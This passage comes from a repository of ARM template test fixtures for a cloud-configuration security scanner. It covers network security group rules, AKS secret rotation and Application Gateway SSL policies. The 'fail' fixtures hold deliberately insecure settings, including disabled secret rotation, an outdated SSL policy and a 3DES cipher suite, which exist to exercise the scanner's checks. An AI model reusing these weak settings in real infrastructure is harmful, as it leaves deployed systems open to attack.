"priority": 130, "direction": "Inbound" } }, { "name": "Dependency_to_sync_Rate_Limit_Inbound", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "4290", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", "priority": 135, "direction": "Inbound" } }, { "name": "Dependency_on_Azure_SQL", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "1433", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "Sql", "access": "Allow", "priority": 140, "direction": "Outbound" } }, { "name": "Dependency_for_Log_to_event_Hub_policy", "properties": { "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "5671", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "EventHub", "access": "Allow", "priority": 150, "direction": "Outbound" } }, { "name": "Dependency_on_Redis_Cache_outbound", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "6381-6383", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", "priority": 160, "direction": "Outbound" } }, { "name": "Depenedency_To_sync_RateLimit_Outbound", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "4290", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", "priority": 165, "direction": "Outbound" } }, { "name": "Dependency_on_Azure_File_Share_for_GIT", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "445", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "Storage", "access": "Allow", "priority": 170, "direction": "Outbound" } }, { "name": "Azure_Infrastructure_Load_Balancer", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "AzureLoadBalancer", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", "priority": 180, "direction": "Inbound" } }, { "name": "Publish_DiagnosticLogs_And_Metrics", "properties": { "description": "APIM Logs and Metrics for consumption by admins and your IT team are all part of the management plane", "protocol": "Tcp", "sourcePortRange": "*", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "AzureMonitor", "access": "Allow", "priority": 185, "direction": "Outbound", "destinationPortRanges": [ "443", "12000", "1886" ] } }, { "name": "Connect_To_SMTP_Relay_For_SendingEmails", "properties": { "description": "APIM features the ability to generate email traffic as part of the data plane and the management plane", "protocol": "Tcp", "sourcePortRange": "*", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "Internet", "access": "Allow", "priority": 190, "direction": "Outbound", "destinationPortRanges": [ "25", "587", "25028" ] } }, { "name": "Authenticate_To_Azure_Active_Directory", "properties": { "description": "Connect to Azure Active Directory for Developer Portal Authentication or for Oauth2 flow during any Proxy Authentication", "protocol": "Tcp", "sourcePortRange": "*", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "AzureActiveDirectory", "access": "Allow", "priority": 200, "direction": "Outbound", "destinationPortRanges": [ "80", "443" ] } }, { "name": "Dependency_on_Azure_Storage", "properties": { "description": "APIM service dependency on Azure Blob and Azure Table Storage", "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "443", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "Storage", "access": "Allow", "priority": 100, "direction": "Outbound" } }, { "name": "Publish_Monitoring_Logs", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "443", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "AzureCloud", "access": "Allow", "priority": 300, "direction": "Outbound" } }, { "name": "Access_KeyVault", "properties": { "description": "Allow APIM service control plane access to KeyVault to refresh secrets", "protocol": "Tcp", "sourcePortRange": "*", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "AzureKeyVault", "access": "Allow", "priority": 350, "direction": "Outbound", "destinationPortRanges": [ "443" ] } }, { "name": "Deny_All_Internet_Outbound", "properties": { "protocol": "*", "sourcePortRange": "*", "destinationPortRange": "*", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "Internet", "access": "Deny", "priority": 999, "direction": "Outbound" } } ] } }, { "type": "Microsoft.ApiManagement/service", "apiVersion": "2021-01-01-preview", "name": "pass", "location": "[parameters('location')]", "sku": { "name": "[parameters('tier')]", "capacity": "[parameters('capacity')]" }, "identity": "[parameters('identity')]", "tags": "[parameters('tagsByResource')]", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]", "virtualNetworkType": "External", "virtualNetworkConfiguration": "[json(concat('{\"subnetResourceId\": \"', resourceId(parameters('vnet').resourceGroup, 'Microsoft.Network/virtualNetworks/subnets', parameters('vnet').name, parameters('vnet').selectedSubnetName), '\"}'))]" }, "resources": [], "dependsOn": [ "[parameters('vnet').name]" ] } ] } ================================================ FILE: tests/arm/checks/resource/example_AkSSecretStoreRotation/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksResourceId": { "type": "string", "metadata": { "description": "AKS Cluster Resource ID" } }, "aksResourceLocation": { "type": "string", "metadata": { "description": "Location of the AKS resource e.g. \"East US\"" } }, "aksResourceTagValues": { "type": "object", "metadata": { "description": "Existing all tags on AKS Cluster Resource" } }, "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } } }, "resources": [ { "name": "fail", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('aksResourceLocation')]", "tags": "[parameters('aksResourceTagValues')]", "apiVersion": "2018-03-31", "properties": { "mode": "Incremental", "id": "[parameters('aksResourceId')]", "addonProfiles": { "omsagent": { "enabled": true, "config": { "logAnalyticsWorkspaceResourceID": "[parameters('workspaceResourceId')]" } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AkSSecretStoreRotation/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksResourceId": { "type": "string", "metadata": { "description": "AKS Cluster Resource ID" } }, "aksResourceLocation": { "type": "string", "metadata": { "description": "Location of the AKS resource e.g. \"East US\"" } }, "aksResourceTagValues": { "type": "object", "metadata": { "description": "Existing all tags on AKS Cluster Resource" } }, "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } } }, "resources": [ { "name": "fail1", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('aksResourceLocation')]", "tags": "[parameters('aksResourceTagValues')]", "apiVersion": "2018-03-31", "properties": { "mode": "Incremental", "id": "[parameters('aksResourceId')]", "addonProfiles": { "omsagent": { "enabled": true, "config": { "logAnalyticsWorkspaceResourceID": "[parameters('workspaceResourceId')]" } }, "azureKeyvaultSecretsProvider": { "enabled": true, "config": { "enableSecretRotation": false } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AkSSecretStoreRotation/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "aksResourceId": { "type": "string", "metadata": { "description": "AKS Cluster Resource ID" } }, "aksResourceLocation": { "type": "string", "metadata": { "description": "Location of the AKS resource e.g. \"East US\"" } }, "aksResourceTagValues": { "type": "object", "metadata": { "description": "Existing all tags on AKS Cluster Resource" } }, "workspaceResourceId": { "type": "string", "metadata": { "description": "Azure Monitor Log Analytics Resource ID" } } }, "resources": [ { "name": "pass", "type": "Microsoft.ContainerService/managedClusters", "location": "[parameters('aksResourceLocation')]", "tags": "[parameters('aksResourceTagValues')]", "apiVersion": "2018-03-31", "properties": { "mode": "Incremental", "id": "[parameters('aksResourceId')]", "addonProfiles": { "omsagent": { "enabled": true, "config": { "logAnalyticsWorkspaceResourceID": "[parameters('workspaceResourceId')]" } }, "azureKeyvaultSecretsProvider": { "enabled": true, "config": { "enableSecretRotation": true } } } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/empty_sslPolicy_fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "addressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the Virtual Network" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/28", "metadata": { "description": "Subnet prefix" } }, "skuName": { "type": "string", "allowedValues": [ "Standard_Small", "Standard_Medium", "Standard_Large" ], "defaultValue": "Standard_Medium", "metadata": { "description": "Sku Name" } }, "capacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Number of instances" } }, "backendIpAddress1": { "type": "string", "metadata": { "description": "IP Address for Backend Server 1" } }, "backendIpAddress2": { "type": "string", "metadata": { "description": "IP Address for Backend Server 2" } }, "certData": { "type": "securestring", "metadata": { "description": "Base-64 encoded form of the .pfx file" } }, "certPassword": { "type": "securestring", "metadata": { "description": "Password for .pfx certificate" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "applicationGatewayName": "applicationGateway1", "publicIPAddressName": "publicIp1", "virtualNetworkName": "virtualNetwork1", "subnetName": "appGatewaySubnet", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPRef": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "resources": [ { "apiVersion": "2021-02-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2017-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "defoult", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] } }, { "apiVersion": "2017-06-01", "name": "empty_sslPolicy_fail1", "type": "Microsoft.Network/applicationGateways", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]" ], "properties": { "sku": { "name": "[parameters('skuName')]", "tier": "Standard", "capacity": "[parameters('capacity')]" }, "sslCertificates": [ { "name": "appGatewaySslCert", "properties": { "data": "[parameters('certData')]", "password": "[parameters('certPassword')]" } } ], "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[variables('subnetRef')]" } } } ], "frontendIPConfigurations": [ { "name": "appGatewayFrontendIP", "properties": { "PublicIPAddress": { "id": "[variables('publicIPRef')]" } } } ], "frontendPorts": [ { "name": "appGatewayFrontendPort", "properties": { "Port": 443 } } ], "backendAddressPools": [ { "name": "appGatewayBackendPool", "properties": { "BackendAddresses": [ { "IpAddress": "[parameters('backendIpAddress1')]" }, { "IpAddress": "[parameters('backendIpAddress2')]" } ] } } ], "backendHttpSettingsCollection": [ { "name": "appGatewayBackendHttpSettings", "properties": { "Port": 80, "Protocol": "Http", "CookieBasedAffinity": "Disabled" } } ], "httpListeners": [ { "name": "appGatewayHttpListener", "properties": { "FrontendIPConfiguration": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGatewayName'), 'appGatewayFrontendIP')]" }, "FrontendPort": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGatewayName'), 'appGatewayFrontendPort')]" }, "Protocol": "Https", "SslCertificate": { "Id": "[resourceId('Microsoft.Network/applicationGateways/sslCertificates', variables('applicationGatewayName'), 'appGatewaySslCert')]" } } } ], "requestRoutingRules": [ { "Name": "rule1", "properties": { "RuleType": "Basic", "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGatewayName'), 'appGatewayHttpListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGatewayName'), 'appGatewayBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]" } } } ], "sslPolicy": { "disabledSslProtocols": "TLSv1_0" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/with_policyName_fail3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "addressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the Virtual Network" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/28", "metadata": { "description": "Subnet prefix" } }, "skuName": { "type": "string", "allowedValues": [ "Standard_Small", "Standard_Medium", "Standard_Large" ], "defaultValue": "Standard_Medium", "metadata": { "description": "Sku Name" } }, "capacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Number of instances" } }, "backendIpAddress1": { "type": "string", "metadata": { "description": "IP Address for Backend Server 1" } }, "backendIpAddress2": { "type": "string", "metadata": { "description": "IP Address for Backend Server 2" } }, "certData": { "type": "securestring", "metadata": { "description": "Base-64 encoded form of the .pfx file" } }, "certPassword": { "type": "securestring", "metadata": { "description": "Password for .pfx certificate" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "applicationGatewayName": "applicationGateway1", "publicIPAddressName": "publicIp1", "virtualNetworkName": "virtualNetwork", "subnetName": "appGatewaySubnet", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPRef": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "resources": [ { "apiVersion": "2021-02-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2017-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "defoult", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] } }, { "apiVersion": "2017-06-01", "name": "with_policyName_fail3", "type": "Microsoft.Network/applicationGateways", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]" ], "properties": { "sku": { "name": "[parameters('skuName')]", "tier": "Standard", "capacity": "[parameters('capacity')]" }, "sslCertificates": [ { "name": "appGatewaySslCert", "properties": { "data": "[parameters('certData')]", "password": "[parameters('certPassword')]" } } ], "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[variables('subnetRef')]" } } } ], "frontendIPConfigurations": [ { "name": "appGatewayFrontendIP", "properties": { "PublicIPAddress": { "id": "[variables('publicIPRef')]" } } } ], "frontendPorts": [ { "name": "appGatewayFrontendPort", "properties": { "Port": 443 } } ], "backendAddressPools": [ { "name": "appGatewayBackendPool", "properties": { "BackendAddresses": [ { "IpAddress": "[parameters('backendIpAddress1')]" }, { "IpAddress": "[parameters('backendIpAddress2')]" } ] } } ], "backendHttpSettingsCollection": [ { "name": "appGatewayBackendHttpSettings", "properties": { "Port": 80, "Protocol": "Http", "CookieBasedAffinity": "Disabled" } } ], "httpListeners": [ { "name": "appGatewayHttpListener", "properties": { "FrontendIPConfiguration": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGatewayName'), 'appGatewayFrontendIP')]" }, "FrontendPort": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGatewayName'), 'appGatewayFrontendPort')]" }, "Protocol": "Https", "SslCertificate": { "Id": "[resourceId('Microsoft.Network/applicationGateways/sslCertificates', variables('applicationGatewayName'), 'appGatewaySslCert')]" } } } ], "requestRoutingRules": [ { "Name": "rule1", "properties": { "RuleType": "Basic", "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGatewayName'), 'appGatewayHttpListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGatewayName'), 'appGatewayBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]" } } } ], "sslPolicy": { "policyType": "Predefined", "policyName": "20150501" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/with_policyName_pass1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "addressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the Virtual Network" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/28", "metadata": { "description": "Subnet prefix" } }, "skuName": { "type": "string", "allowedValues": [ "Standard_Small", "Standard_Medium", "Standard_Large" ], "defaultValue": "Standard_Medium", "metadata": { "description": "Sku Name" } }, "capacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Number of instances" } }, "backendIpAddress1": { "type": "string", "metadata": { "description": "IP Address for Backend Server 1" } }, "backendIpAddress2": { "type": "string", "metadata": { "description": "IP Address for Backend Server 2" } }, "certData": { "type": "securestring", "metadata": { "description": "Base-64 encoded form of the .pfx file" } }, "certPassword": { "type": "securestring", "metadata": { "description": "Password for .pfx certificate" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "applicationGatewayName": "applicationGateway1", "publicIPAddressName": "publicIp1", "virtualNetworkName": "virtualNetwork", "subnetName": "appGatewaySubnet", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPRef": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "resources": [ { "apiVersion": "2021-02-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2017-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "[defoult", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] } }, { "apiVersion": "2017-06-01", "name": "with_policyName_pass1", "type": "Microsoft.Network/applicationGateways", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]" ], "properties": { "sku": { "name": "[parameters('skuName')]", "tier": "Standard", "capacity": "[parameters('capacity')]" }, "sslCertificates": [ { "name": "appGatewaySslCert", "properties": { "data": "[parameters('certData')]", "password": "[parameters('certPassword')]" } } ], "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[variables('subnetRef')]" } } } ], "frontendIPConfigurations": [ { "name": "appGatewayFrontendIP", "properties": { "PublicIPAddress": { "id": "[variables('publicIPRef')]" } } } ], "frontendPorts": [ { "name": "appGatewayFrontendPort", "properties": { "Port": 443 } } ], "backendAddressPools": [ { "name": "appGatewayBackendPool", "properties": { "BackendAddresses": [ { "IpAddress": "[parameters('backendIpAddress1')]" }, { "IpAddress": "[parameters('backendIpAddress2')]" } ] } } ], "backendHttpSettingsCollection": [ { "name": "appGatewayBackendHttpSettings", "properties": { "Port": 80, "Protocol": "Http", "CookieBasedAffinity": "Disabled" } } ], "httpListeners": [ { "name": "appGatewayHttpListener", "properties": { "FrontendIPConfiguration": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGatewayName'), 'appGatewayFrontendIP')]" }, "FrontendPort": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGatewayName'), 'appGatewayFrontendPort')]" }, "Protocol": "Https", "SslCertificate": { "Id": "[resourceId('Microsoft.Network/applicationGateways/sslCertificates', variables('applicationGatewayName'), 'appGatewaySslCert')]" } } } ], "requestRoutingRules": [ { "Name": "rule1", "properties": { "RuleType": "Basic", "httpListener": { "id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGatewayName'), 'appGatewayHttpListener')]" }, "backendAddressPool": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGatewayName'), 'appGatewayBackendPool')]" }, "backendHttpSettings": { "id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]" } } } ], "sslPolicy": { "policyType": "Predefined", "policyName": "AppGwSslPolicy20220101S" } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/with_protocolversion_and_cipher_fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "addressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the Virtual Network" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/28", "metadata": { "description": "Subnet prefix" } }, "skuName": { "type": "string", "allowedValues": [ "Standard_Small", "Standard_Medium", "Standard_Large" ], "defaultValue": "Standard_Medium", "metadata": { "description": "Sku Name" } }, "capacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Number of instances" } }, "backendIpAddress1": { "type": "string", "metadata": { "description": "IP Address for Backend Server 1" } }, "backendIpAddress2": { "type": "string", "metadata": { "description": "IP Address for Backend Server 2" } }, "certData": { "type": "securestring", "metadata": { "description": "Base-64 encoded form of the .pfx file" } }, "certPassword": { "type": "securestring", "metadata": { "description": "Password for .pfx certificate" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "applicationGatewayName": "applicationGateway1", "publicIPAddressName": "publicIp1", "virtualNetworkName": "virtualNetwork1", "subnetName": "appGatewaySubnet", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPRef": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "resources": [ { "apiVersion": "2021-02-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2018-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "defoult", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] } }, { "apiVersion": "2017-06-01", "name": "with_protocolversion_and_cipher_fail2", "type": "Microsoft.Network/applicationGateways", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]" ], "properties": { "sku": { "name": "[parameters('skuName')]", "tier": "Standard", "capacity": "[parameters('capacity')]" }, "sslCertificates": [ { "name": "appGatewaySslCert", "properties": { "data": "[parameters('certData')]", "password": "[parameters('certPassword')]" } } ], "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[variables('subnetRef')]" } } } ], "frontendIPConfigurations": [ { "name": "appGatewayFrontendIP", "properties": { "PublicIPAddress": { "id": "[variables('publicIPRef')]" } } } ], "frontendPorts": [ { "name": "appGatewayFrontendPort", "properties": { "Port": 443 } } ], "backendAddressPools": [ { "name": "appGatewayBackendPool", "properties": { "BackendAddresses": [ { "IpAddress": "[parameters('backendIpAddress1')]" }, { "IpAddress": "[parameters('backendIpAddress2')]" } ] } } ], "backendHttpSettingsCollection": [ { "name": "appGatewayBackendHttpSettings", "properties": { "Port": 80, "Protocol": "Http", "CookieBasedAffinity": "Disabled" } } ], "httpListeners": [ { "name": "appGatewayHttpListener", "properties": { "FrontendIPConfiguration": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations',variables('applicationGatewayName'), 'appGatewayFrontendIP')]" }, "FrontendPort": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts',variables('applicationGatewayName'), 'appGatewayFrontendPort')]" }, "Protocol": "Https", "SslCertificate": { "Id": "[resourceId('Microsoft.Network/applicationGateways/sslCertificates',variables('applicationGatewayName'), 'appGatewaySslCert')]" } } } ], "requestRoutingRules": [ { "Name": "rule1", "properties": { "RuleType": "Basic", "httpListener": { "Id": "[resourceId('Microsoft.Network/applicationGateways/httpListeners',variables('applicationGatewayName'), 'appGatewayHttpListener')]" }, "backendAddressPool": { "Id": "[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPool')]" }, "backendHttpSettings": { "Id": "[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]" } } } ], "sslPolicy": { "policyType": "Custom", "minProtocolVersion": "TLSv1_2", "cipherSuites": [ "TLS_AES_128_GCM_SHA256","TLS_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA" ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_AppGWDefinesSecureProtocols/with_protocolversion_and_cipher_pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "addressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Address prefix for the Virtual Network" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/28", "metadata": { "description": "Subnet prefix" } }, "skuName": { "type": "string", "allowedValues": [ "Standard_Small", "Standard_Medium", "Standard_Large" ], "defaultValue": "Standard_Medium", "metadata": { "description": "Sku Name" } }, "capacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Number of instances" } }, "backendIpAddress1": { "type": "string", "metadata": { "description": "IP Address for Backend Server 1" } }, "backendIpAddress2": { "type": "string", "metadata": { "description": "IP Address for Backend Server 2" } }, "certData": { "type": "securestring", "metadata": { "description": "Base-64 encoded form of the .pfx file" } }, "certPassword": { "type": "securestring", "metadata": { "description": "Password for .pfx certificate" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "applicationGatewayName": "applicationGateway1", "publicIPAddressName": "publicIp1", "virtualNetworkName": "virtualNetwork", "subnetName": "appGatewaySubnet", "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]", "publicIPRef": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" }, "resources": [ { "apiVersion": "2021-02-01", "type": "Microsoft.Network/publicIPAddresses", "name": "[variables('publicIPAddressName')]", "location": "[parameters('location')]", "properties": { "publicIPAllocationMethod": "Dynamic" } }, { "apiVersion": "2017-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "defoult", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('addressPrefix')]" ] }, "subnets": [ { "name": "[variables('subnetName')]", "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] } }, { "apiVersion": "2017-06-01", "name": "with_protocolversion_and_cipher_pass", "type": "Microsoft.Network/applicationGateways", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]", "[resourceId('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]" ], "properties": { "sku": { "name": "[parameters('skuName')]", "tier": "Standard", "capacity": "[parameters('capacity')]" }, "sslCertificates": [ { "name": "appGatewaySslCert", "properties": { "data": "[parameters('certData')]", "password": "[parameters('certPassword')]" } } ], "gatewayIPConfigurations": [ { "name": "appGatewayIpConfig", "properties": { "subnet": { "id": "[variables('subnetRef')]" } } } ], "frontendIPConfigurations": [ { "name": "appGatewayFrontendIP", "properties": { "PublicIPAddress": { "id": "[variables('publicIPRef')]" } } } ], "frontendPorts": [ { "name": "appGatewayFrontendPort", "properties": { "Port": 443 } } ], "backendAddressPools": [ { "name": "appGatewayBackendPool", "properties": { "BackendAddresses": [ { "IpAddress": "[parameters('backendIpAddress1')]" }, { "IpAddress": "[parameters('backendIpAddress2')]" } ] } } ], "backendHttpSettingsCollection": [ { "name": "appGatewayBackendHttpSettings", "properties": { "Port": 80, "Protocol": "Http", "CookieBasedAffinity": "Disabled" } } ], "httpListeners": [ { "name": "appGatewayHttpListener", "properties": { "FrontendIPConfiguration": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations',variables('applicationGatewayName'), 'appGatewayFrontendIP')]" }, "FrontendPort": { "Id": "[resourceId('Microsoft.Network/applicationGateways/frontendPorts',variables('applicationGatewayName'), 